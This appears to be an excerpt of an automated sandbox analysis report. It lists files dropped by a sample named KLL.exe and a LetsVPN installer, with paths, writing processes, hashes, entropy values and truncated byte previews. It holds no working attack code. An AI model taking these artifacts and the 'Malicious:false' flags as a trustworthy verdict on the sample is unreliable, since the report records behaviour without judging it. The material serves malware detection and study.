                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........,.K.M...M...M..5....M..5...$M..5....M...5d..M...5c..M...5s..M...M..~O..,....M..,....M..,....L..4....M..4....M..4....M...Mw..M..4....M..Rich.M..........PE..L....C.f...........!.........F......\........0................................,...........@...........................#.....L.%.@.....*.H1...................@*.d|...C!.8...................tD!......D!.@............0..P............................text............................... ..`.rdata.......0......."..............@..@.data........ &..T....&.............@....gfids..h....0(......^&.............@..@.giats........).......(.............@..@.tls..........).......(.............@....rsrc...H1....*..2....(.............@..@.reloc..d|...@*..~...6(.............@..B........................................................................................................................................................

                                                                                            C:\ProgramData\s2XlA\7R1b9~m7\vcruntime140.dll

                                                                                            Download File
                                                                                            Process:C:\Users\user\Desktop\KLL.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):85328
                                                                                            Entropy (8bit):6.8770791315221285
                                                                                            Encrypted:false
                                                                                            SSDEEP:1536:BTXU4YQD+JZoxeu8zIrBj3hGzHRb3izsQe1o8jsu0gD/TecbOjc8WsaBmiK:pXUlQDeexZTBozHRb3izsQe1o8E8ecbg
                                                                                            MD5:B77EEAEAF5F8493189B89852F3A7A712
                                                                                            SHA1:C40CF51C2EADB070A570B969B0525DC3FB684339
                                                                                            SHA-256:B7C13F8519340257BA6AE3129AFCE961F137E394DDE3E4E41971B9F912355F5E
                                                                                            SHA-512:A09A1B60C9605969A30F99D3F6215D4BF923759B4057BA0A5375559234F17D47555A84268E340FFC9AD07E03D11F40DD1F3FB5DA108D11EB7F7933B7D87F2DE3
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^$Y..E7W.E7W.E7W..W.E7W.=.W.E7W.E6W3E7W..3V.E7W..4V.E7W..2V.E7W..?V.E7W..7V.E7W...W.E7W..5V.E7WRich.E7W........................PE..L.....U.........."!......... ...............................................P......r.....@A........................`................0..................P?...@....... ..8...........................X ..@............................................text...t........................... ..`.data...............................@....idata..............................@..@_RDATA....... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................

                                                                                            C:\ProgramData\tor.dat

                                                                                            Download File
                                                                                            Process:C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):28
                                                                                            Entropy (8bit):3.807354922057604
                                                                                            Encrypted:false
                                                                                            SSDEEP:3:8VEoc2RD/f8K0:8Vu2DX8/
                                                                                            MD5:115059F9A0F79351026ECF640DDD45F4
                                                                                            SHA1:67F43DCFD8E4598B8F30241DEC09CBCADFA21DCE
                                                                                            SHA-256:2E8AA248953FB063827B546ED394AE7627991819D6BFF509D9D08B04FB3808EF
                                                                                            SHA-512:79F513D55AF8C8D7A2D80D9648A87CA839263CD7494F439DF7ADD243CF159E1CA16C88CD2606BBA9CAEF6FA7D296FD30B28FBDA208AC3A4F8FBA44E2423BD372
                                                                                            Malicious:false
                                                                                            Preview:tLa0utG2t9G0tsa2ubyzuLy1uKY=

                                                                                            C:\Users\user\AppData\Local\LetsVPN\LetsPRO.exe_Url_0oczbjylb1galocprl35cp3mvj2urvw0\AppCenter.config (copy)

                                                                                            Download File
                                                                                            Process:C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
                                                                                            File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):199
                                                                                            Entropy (8bit):5.094399698204314
                                                                                            Encrypted:false
                                                                                            SSDEEP:3:vFWWMNHU8LdgCQcIMOofqRqLVuXKCWAa8LDMBlTqqXdCICQNJE4SFMlF9ULVuuQA:TMVBd1IGpOSAMBluqXAQE+fG3QIT
                                                                                            MD5:A1623A77509925CA6DE50AFA63C7C5D6
                                                                                            SHA1:75147ACBCA61C58070CFDB6F417340954FD33334
                                                                                            SHA-256:49AAA5DE4C0D833DA3909B7A9FC40B48F2586588F539CAD50A87D02D6007103F
                                                                                            SHA-512:AB14036D552F70359C60F51C458A5F5D7172ED3EB2505526E82F26832FB586B877035BF99DF4512408D3D35EC8FBF9CB4AB9ED34760542833517277730B3A01E
                                                                                            Malicious:false
                                                                                            Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <appSettings>.. <add key="AppCenterInstallId" value="2c82766b-54e7-4127-8e5c-27cf0a056758" />.. </appSettings>..</configuration>

                                                                                            C:\Users\user\AppData\Local\LetsVPN\LetsPRO.exe_Url_0oczbjylb1galocprl35cp3mvj2urvw0\e0ttff02.newcfg

                                                                                            Download File
                                                                                            Process:C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
                                                                                            File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):199
                                                                                            Entropy (8bit):5.094399698204314
                                                                                            Encrypted:false
                                                                                            SSDEEP:3:vFWWMNHU8LdgCQcIMOofqRqLVuXKCWAa8LDMBlTqqXdCICQNJE4SFMlF9ULVuuQA:TMVBd1IGpOSAMBluqXAQE+fG3QIT
                                                                                            MD5:A1623A77509925CA6DE50AFA63C7C5D6
                                                                                            SHA1:75147ACBCA61C58070CFDB6F417340954FD33334
                                                                                            SHA-256:49AAA5DE4C0D833DA3909B7A9FC40B48F2586588F539CAD50A87D02D6007103F
                                                                                            SHA-512:AB14036D552F70359C60F51C458A5F5D7172ED3EB2505526E82F26832FB586B877035BF99DF4512408D3D35EC8FBF9CB4AB9ED34760542833517277730B3A01E
                                                                                            Malicious:false
                                                                                            Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <appSettings>.. <add key="AppCenterInstallId" value="2c82766b-54e7-4127-8e5c-27cf0a056758" />.. </appSettings>..</configuration>

                                                                                            C:\Users\user\AppData\Local\Microsoft\AppCenter\2c82766b-54e7-4127-8e5c-27cf0a056758\Logs.db

                                                                                            Download File
                                                                                            Process:C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
                                                                                            File Type:SQLite 3.x database, last written using SQLite version 3031001, file counter 13, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 13
                                                                                            Category:dropped
                                                                                            Size (bytes):12288
                                                                                            Entropy (8bit):2.021113083444683
                                                                                            Encrypted:false
                                                                                            SSDEEP:96:s3WxJpCmu98BYJ8xJjugxJ1Cmu98BP1xJtCmu98BZ:vpCT98BHjz1CT98BdtCT98BZ
                                                                                            MD5:9CF3A3709935B8DFD542F07AE0B35525
                                                                                            SHA1:6C79475D1D9CF081DCF8EA008DCD431267E6434B
                                                                                            SHA-256:A18FB6DCDFAED7DF21853575797CB10F9C55C5C280A66807D89CDD08B66EB646
                                                                                            SHA-512:455B95BCD74754D814A288F0ACDE56816F75D5DFCB70661DD252CF7486D2CB93008E46913219CD04BDBA98646BEFC6BEC2BB9D89458AC8DFA8CF8157525BD41D
                                                                                            Malicious:false
                                                                                            Preview:SQLite format 3......@ ..........................................................................?.......*..|.*........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                            C:\Users\user\AppData\Local\Microsoft\AppCenter\2c82766b-54e7-4127-8e5c-27cf0a056758\Logs.db-journal

                                                                                            Download File
                                                                                            Process:C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
                                                                                            File Type:SQLite Rollback Journal
                                                                                            Category:dropped
                                                                                            Size (bytes):8720
                                                                                            Entropy (8bit):2.6734205227941565
                                                                                            Encrypted:false
                                                                                            SSDEEP:96:7YWxJpCmu98BYJ8xJjugxJ1Cmu98Bf1xJtCmu98BOug:77pCT98BHjz1CT98BNtCT98BO3
                                                                                            MD5:BF1163D79F0E1AF18A2D5391CBB65E90
                                                                                            SHA1:6ADD29A3FB45BF29AB914D244FECAB9322221ED3
                                                                                            SHA-256:7474A29FFD815128FE8C2E3D4E4BD40858F6D68A8804ED171B46CB55502FA88D
                                                                                            SHA-512:0CC5BB4E63A9250F0C553145FD6322E45D80F002C94E92764F345E97E50DF66B607D564E1FB92E0398E99FB9186AFD335238A67A7EA2BDD5FD559A8855C10057
                                                                                            Malicious:false
                                                                                            Preview:.... .c.....A..)........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                            C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\LetsPRO.exe.log

                                                                                            Download File
                                                                                            Process:C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
                                                                                            File Type:CSV text
                                                                                            Category:dropped
                                                                                            Size (bytes):2424
                                                                                            Entropy (8bit):5.348163999675204
                                                                                            Encrypted:false
                                                                                            SSDEEP:48:MxHKlYHKh3ouHgJHreylEHMHKo/tHo6hAHKzeYHKU57UjHKtHKMRtHj:iqlYqh3ou0aymsqwtI6eqzVqU57Ujqtp
                                                                                            MD5:1D015055F59E3C59A292A836E94902DB
                                                                                            SHA1:6606627C577A8D9FBB362C0FFFD5E500295CA4AC
                                                                                            SHA-256:D72DA6BAE429BF4A293DF3A8B637CC821491A9585DEA47553D6753A50D6EE519
                                                                                            SHA-512:C2484FDCB22662B80659A9BD978CB1995D1C7912E6E24AABCF917862DB74F900B4775A24EE922B7A9B41CA48B5EF82C2E13C951D2CAD716B86FA11E1687C2EFA
                                                                                            Malicious:false
                                                                                            Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"WindowsBase, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\WindowsBase\4d760e3e4675c4a4c66b64205fb0d001\WindowsBase.ni.dll",0..3,"PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\PresentationCore\17470ef0c7a174f38bdcadacc3e310ad\PresentationCore.ni.dll",0..3,"PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\

                                                                                            C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                                                            Download File
                                                                                            Process:C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
                                                                                            File Type:data
                                                                                            Category:dropped
                                                                                            Size (bytes):34383
                                                                                            Entropy (8bit):5.053402703870376
                                                                                            Encrypted:false
                                                                                            SSDEEP:768:QPV3IpNBQkj2Ph4iUxsfrRJv5FqvXhARlardFRgrOdBPtAHkDNZbNKeCMiYo6:QPV3CNBQkj2Ph4iUxsflJnqv6qdPgrOf
                                                                                            MD5:D63CB5E171D7FCFE28C9E904F6855F08
                                                                                            SHA1:8C6B004EC20FF61EF4CA9EAFA6F0254364A960AB
                                                                                            SHA-256:F081E30CF5BB68206C7A59B83BC914B9BD2ED59FBEE26843075D2D0CD7393354
                                                                                            SHA-512:E9F534C0087182A51D5BE60E14FA992B2B933F444D32C2A2DBA3C7D4FCD6A1F418CF7A6A8B37165A61ED4D5B096716308035E117199A5B94FA796B58C041DB74
                                                                                            Malicious:false
                                                                                            Preview:PSMODULECACHE.......CB.z..q...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DirectAccessClientComponents\DirectAccessClientComponents.psd1........Set-DAEntryPointTableItem....#...Set-DAClientExperienceConfiguration...."...Enable-DAManualEntryPointSelection........Get-DAEntryPointTableItem........Reset-DAEntryPointTableItem....%...Reset-DAClientExperienceConfiguration........Remove-DAEntryPointTableItem........New-DAEntryPointTableItem....#...Get-DAClientExperienceConfiguration....#...Disable-DAManualEntryPointSelection........Rename-DAEntryPointTableItem.........{HB.z..S...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\NetSwitchTeam\NetSwitchTeam.psd1........Get-NetSwitchTeam........Add-NetSwitchTeamMember........Get-NetSwitchTeamMember........Remove-NetSwitchTeamMember........New-NetSwitchTeam........Rename-NetSwitchTeam........Remove-NetSwitchTeam..........zB.z..E...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\NetQos\NetQos.psd1........Get-NetQosPolicy........Remove-Ne

                                                                                            C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                            Download File
                                                                                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:data
                                                                                            Category:dropped
                                                                                            Size (bytes):2240
                                                                                            Entropy (8bit):5.363338476151722
                                                                                            Encrypted:false
                                                                                            SSDEEP:48:bWSU4y4RQmFoUeWmfgZ9tK8NPP8m7u1iMuge//ZLiUyuE:bLHyIFKL3IZ2KHVOug4XE
                                                                                            MD5:C82C6B7D71BB6842438B795B1F199521
                                                                                            SHA1:67A7FA11D2216F17F69FB5C9FD42B3FF15DBC8FC
                                                                                            SHA-256:E75E09E36CF2517FCE9787DD4C8417EE1ECACF41BB76933B6B54175EF8ECEB7F
                                                                                            SHA-512:068FCB83DF17333BDD547EFBC6A428C24737A5AA4AEA8D2C8434F4E145CFBB944718DF9F29CE98070F972B490A61280B25DC9D9A49C3234BE0669AB6BEC79788
                                                                                            Malicious:false
                                                                                            Preview:@...e...........................................................P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................*gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...|...........System.ConfigurationH................WY..2.M.&..g*(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0cify1go.5nc.ps1

                                                                                            Download File
                                                                                            Process:C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0wiocfr0.fji.psm1

                                                                                            Download File
                                                                                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_42vicxuv.dws.ps1

                                                                                            Download File
                                                                                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4khdr5ig.jfy.psm1

                                                                                            Download File
                                                                                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aiilqe2n.4jh.ps1

                                                                                            Download File
                                                                                            Process:C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g5gyackp.zze.ps1

                                                                                            Download File
                                                                                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l1spbubm.cwb.psm1

                                                                                            Download File
                                                                                            Process:C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pyudzw5i.1or.psm1

                                                                                            Download File
                                                                                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uiuqgsmf.qb3.psm1

                                                                                            Download File
                                                                                            Process:C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wg1viclw.f5b.ps1

                                                                                            Download File
                                                                                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\nsz7B4.tmp\System.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):11776
                                                                                            Entropy (8bit):5.890541747176257
                                                                                            Encrypted:false
                                                                                            SSDEEP:192:X24sihno0bW+l97H4GB7QDs91kMtwtobTr4u+QHbazMNHT7dmNIEr:m8vJl97JeoxtN/r3z7YV
                                                                                            MD5:75ED96254FBF894E42058062B4B4F0D1
                                                                                            SHA1:996503F1383B49021EB3427BC28D13B5BBD11977
                                                                                            SHA-256:A632D74332B3F08F834C732A103DAFEB09A540823A2217CA7F49159755E8F1D7
                                                                                            SHA-512:58174896DB81D481947B8745DAFE3A02C150F3938BB4543256E8CCE1145154E016D481DF9FE68DAC6D48407C62CBE20753320EBD5FE5E84806D07CE78E0EB0C4
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr*.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L.....oZ...........!..... ...........).......0...............................`............@..........................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..c....0.......$..............@..@.data...x....@.......(..............@....reloc..~....P.......*..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                            C:\Users\user\AppData\Local\Temp\nsz7B4.tmp\modern-header.bmp

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PC bitmap, Windows 3.x format, 150 x 57 x 8, image size 8666, resolution 2834 x 2834 px/m, 255 important colors, cbSize 9740, bits offset 1074
                                                                                            Category:dropped
                                                                                            Size (bytes):9740
                                                                                            Entropy (8bit):6.554125039233327
                                                                                            Encrypted:false
                                                                                            SSDEEP:192:bDIK82wKywC116+rwdTKMRjwgKhww4R1jwlIHvNbmwQo8TTJG4:bv82wKywC7DrwdTKMRjwgKhwwY1jwlQq
                                                                                            MD5:5ACF495828FEAE7F85E006B7774AF497
                                                                                            SHA1:5D2EEF3EEBB9A72678DCCD404475341116508306
                                                                                            SHA-256:6CFEBB59F0BA1B9F1E8D7AA6387F223A468EB2FF74A9ED3C3F4BB688C2B6455E
                                                                                            SHA-512:D1D40C88E2167315A309005B831ACBEAB0919D5A3B1FF5AAA273DB945C8818FC2118EFDB503E4BDA055F309306E72224F54DEF0B1F0AB6F61FE4DBA66784ED68
                                                                                            Malicious:false
                                                                                            Preview:BM.&......2...(.......9............!..................,...788.WXX.................................................................h...;m..i...f...O...l...)J[. :G.n...p...o...%AO.....y...W.......o...........8O[.C^l...........#.....................................p...........................................................?AB.....;....+;.>...+y..4....BY.V...f...H...5bz.%DU.j...j...h...d...b...W...N...]....0<.m...Dy..3Zo.c...U...q....Pb.s...v...v...M...y...{...q...}...}.......y............+3.............g...................................Nn..Hfv.................&5=.................................................................................................................................^s~.............................................................................................................................8....Tt.G....!+..........%..................................................\gn.............................................#$%.oqs.....zz{...................................

                                                                                            C:\Users\user\AppData\Local\Temp\nsz7B4.tmp\modern-wizard.bmp

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PC bitmap, Windows 3.x format, 164 x 314 x 8, image size 51498, resolution 2834 x 2834 px/m, 255 important colors, cbSize 52572, bits offset 1074
                                                                                            Category:dropped
                                                                                            Size (bytes):52572
                                                                                            Entropy (8bit):7.144132089574
                                                                                            Encrypted:false
                                                                                            SSDEEP:192:mfR2FYRtCc9X1uikvgqm+LPTTw9Bu8Skn+x23acmHjZXuxZpCAe9Crxpn319UDSQ:mf0YRt/km+b3wG0nt2UC6rOf
                                                                                            MD5:7F8E1969B0874C8FB9AB44FC36575380
                                                                                            SHA1:3057C9CE90A23D29F7D0854472F9F44E87B0F09A
                                                                                            SHA-256:076221B4527FF13C3E1557ABBBD48B0CB8E5F7D724C6B9171C6AADADB80561DD
                                                                                            SHA-512:7AA65CFADC2738C0186EF459D0F5F7F770BA0F6DA4CCD55A2CECA23627B7F13BA258136BAB88F4EEE5D9BB70ED0E8EB8BA8E1874B0280D2B08B69FC9BDD81555
                                                                                            Malicious:false
                                                                                            Preview:BM\.......2...(.......:...........*.......................Y[[.....z}~.................................................5by.k...6by.m...o...p...q...9dz.s...t...w...x...`...=f{.{.......}...................~...Q...........b.......-FS.~...m...v............%+.................................................................-;B.................................................................................................................................prs.;....AY.4...(m..E...P...\...f...l...n...o...8cz.l...r...q...q...r...s...t...l...v...u...;dz.v...y...w...w...z...i...y...z...{...~...}.......W...Jw..@g|.....................]...@ey.................Go..............Ch|.<]o.............................|...@bt.9Wg.........5P_.....................................................`...c...t...q...............................................[q}.........................Rcl.....................................:....~...Ts.m........... 1;.......................................!.............+,-...........

                                                                                            C:\Users\user\AppData\Local\Temp\nsz7B4.tmp\nsDialogs.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
